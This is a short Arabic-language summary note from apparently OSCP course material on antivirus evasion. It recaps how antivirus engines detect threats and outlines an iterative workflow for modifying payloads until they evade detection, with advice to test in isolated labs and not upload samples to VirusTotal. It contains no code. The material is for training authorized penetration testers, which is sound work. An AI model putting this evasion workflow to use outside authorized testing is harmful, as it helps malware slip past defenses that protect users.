VirusTotal نسبة كشف عاليةلا تستخدم VirusTotal في Engagements حقيقية — جهّز Lab VM

الخلاصة العامة للموديول

في الموديول ده، استعرضنا بنية برامج مكافحة الفيروسات من الداخل — كيف بتعمل، إيه المحركات اللي بتتعاون مع بعض، وإزاي بتقرّر إيه اللي آمن وإيه اللي خبيث. بعد كده انتقلنا لأساليب التحايل اللي بيعتمد عليها مختبرو الاختراق في التقييمات المرخَّصة.

$ cat ./module12_summary.txt

الفرق بين مختبر الاختراق الجيد والممتاز هو الفهم العميق للجانبين — الهجوم والدفاع معاً. فهم كيف الـ AV بيشتغل من جوه بيسمحلك بتقييم واقعي لمدى صلابة الدفاعات وتقديم توصيات حقيقية تحمي العميل من التهديدات المتقدّمة.

★ Professional Mindset

لما محاولة التحايل تفشل: حدّد أي محرك اكتشف الـ Payload ← افهم إيه النمط اللي كشفه ← راجع ما إذا كان Disk-based أو Memory-based أو Behavioral ← عدّل الأسلوب أو الـ Payload ← اختبر في Lab معزول ← لا ترفع على منصات عامة ← وثّق كل خطوة وكل تعديل.


نهاية نوتس الموديول الثاني عشر — OSCP: Antivirus Evasion